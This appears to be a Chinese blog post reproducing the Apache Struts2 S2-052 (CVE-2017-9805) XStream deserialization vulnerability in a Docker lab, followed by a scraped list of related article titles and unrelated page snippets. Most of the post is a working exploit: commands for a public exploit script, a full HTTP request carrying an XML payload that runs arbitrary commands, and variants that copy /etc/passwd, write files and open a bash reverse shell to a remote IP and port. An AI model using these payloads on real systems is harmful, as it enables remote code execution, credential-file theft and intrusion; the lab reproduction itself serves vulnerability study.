Structs2框架已知的漏洞编号如下:
  • S2-005
  • S2-009
  • S2-016 (含S2-013)
  • S2-019
  • S2-020
  • S2-021
  • S2-032
  • S2-037(含S2-033)
  • DevMode
  • S2-045
  • S2-046
  • S2-048
  • S2-052
  • S2-055
  • S2-057
 
S2-052(CVE-2017-9805)环境:
 
访问 http://你的 IP 地址:端口号/
漏洞poc检测与利用
poc下载:
检测到漏洞存在:
python apache-struts-pwn.py -u 'http://192.168.190.135:8080/orders/3/edit'
漏洞利用写入文件
python apache-struts-pwn.py --exploit --url 'http://example.com/struts2-showcase/index.action' -c 'echo test > /tmp/apache-struts-pwn'
 
POST /orders/3 HTTP/1.1
Host: 192.168.190.135:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/xml
Content-Length: 2415
Connection: close
Referer: http://192.168.190.135:8080/orders/3/edit
Cookie: JSESSIONID=8FCB55C3A30CB6059D3530A01C3E6FA0
Upgrade-Insecure-Requests: 1
DNT: 1
 
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/success</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
 
 
 
 
以上数据包成功执行的话,会在docker容器内创建文件/tmp/success,
执行docker-compose exec struts2 ls /tmp/即可看到。
docker-compose exec struts2 ls /tmp/
读文件:
<command> <string>cp</string> <string>/etc/passwd</string> <string>/tmp/passwd</string> </command>
 
写文件:
<command>
<string>bash</string>
<string>-c</string>
<string>echo micr067 > /tmp/test.txt</string>
</command>
反弹shell:
<command> <string>bash</string> <string>-c</string> <string>bash -i >&; /dev/tcp/192.168.190.130/1521 0>&;1</string> </command>
 
参考链接:
 
 

S2-052 漏洞复现的更多相关文章

  1. struts2漏洞复现分析合集

    struts2漏洞复现合集 环境准备 tomcat安装 漏洞代码取自vulhub,使用idea进行远程调试 struts2远程调试 catalina.bat jpda start 开启debug模式, ...

  2. ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程

    没有时间测试呢,朋友们都成功复现,放上网盘地址:https://github.com/x0rz/EQGRP 近日臭名昭著的方程式组织工具包再次被公开,TheShadowBrokers在steemit. ...

  3. 【S2-052】漏洞复现(CVE-2017-9805)

    一.漏洞描述 Struts2 的REST插件,如果带有XStream组件,那么在进行反序列化XML请求时,存在未对数据内容进行有效验证的安全隐患,可能发生远程命令执行. 二.受影响版本 Struts2 ...

  4. markdown反射型xss漏洞复现

    markdown xss漏洞复现 转载至橘子师傅:https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html 漏洞成因 最初是看到Hack ...

  5. WebLogic XMLDecoder反序列化漏洞复现

    WebLogic XMLDecoder反序列化漏洞复现 参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://g ...

  6. Struts2-052 漏洞复现

    s2-052漏洞复现 参考链接: http://www.freebuf.com/vuls/147017.html http://www.freebuf.com/vuls/146718.html 漏洞描 ...

  7. Typecho反序列化导致前台 getshell 漏洞复现

    Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...

  8. Tomcat/7.0.81 远程代码执行漏洞复现

    Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...

  9. Discuz!X 3.4 前台任意文件删除漏洞复现

    Discuz!X 3.4 前台任意文件删除漏洞复现 参考链接: http://www.freebuf.com/vuls/149904.html http://www.freebuf.com/artic ...

  10. 海洋cms v6.53 v6.54版本漏洞复现

    海洋cms v6.53 v6.54版本漏洞复现 参考链接: 今天发现freebuf上一篇海洋cms的漏洞,来复现一下. http://www.freebuf.com/vuls/150042.html ...

随机推荐

  1. 微信小程序捕获async/await函数异常实践

    背景 我们的小程序项目的构建是与web项目保持一致的,完全使用webpack的生态来构建,没有使用小程序自带的构建功能,那么就需要我们配置代码转换的babel插件如Promise.Proxy等:另外, ...

  2. 在Azure云上实现postgres主备切换

    以下是工作上实现postgres主备切换功能所用到的代码和步骤,中间走了不少弯路,在此记录下.所用到的操作系统为centos 7.5,安装了两台服务器,hostname为VM7的为Master,VM8 ...

  3. 【转载】Why Learning to Code is So Damn Hard By Erik Trautman

    原文网址:https://www.thinkful.com/blog/why-learning-to-code-is-so-damn-hard/ 在罗老师的<算法竞赛 入门到进阶>总看到了 ...

  4. Codeforces Round #385 (Div. 2) C - Hongcow Builds A Nation

    题目链接:http://codeforces.com/contest/745/problem/C 题意:给出n个点m条边,还有k个不能连通的点,问最多能添加几条边. 要知道如果有n个点最多的边是n*( ...

  5. Fractions Again?! UVA - 10976

    It is easy to see that for every fraction in the form 1k(k > 0), we can always find two positive ...

  6. Integer和Integer常量池

    Integer中有个静态内部类 IntegerCache ,里面有个cache[],也就是Integer常量池  大小为一个字节(-128-127). (jdk1.8.0_101)源码 private ...

  7. EF Core 通过延迟加载获取导航属性数据

    EF 6及以前的版本是默认支持延迟加载(Lazy Loading)的,早期的EF Core中并不支持,必须使用Include方法来支持导航属性的数据加载. 当然在EF Core 2.1及之后版本中已经 ...

  8. Linux 安装二进制MySQL 及 破解MySQL密码

    1.确保系统中有依赖的libaio 软件,如果没有: yum -y install libaio 2.解压二进制MySQL软件包 tar xf mysql-5.7.24-linux-glibc2.12 ...

  9. Android-隐藏app图标以及隐式启动

    隐藏APP桌面图标 <activity android:name=".LaunchActivity"> <intent-filter> <action ...

  10. java对象与java对象引用的区别

    java对象与java对象引用的区别 对象与对象引用的区别 直接用例子说话吧 Person per = new Person("张三"); 这一条语句,其实包括了四个动作: 右边的 ...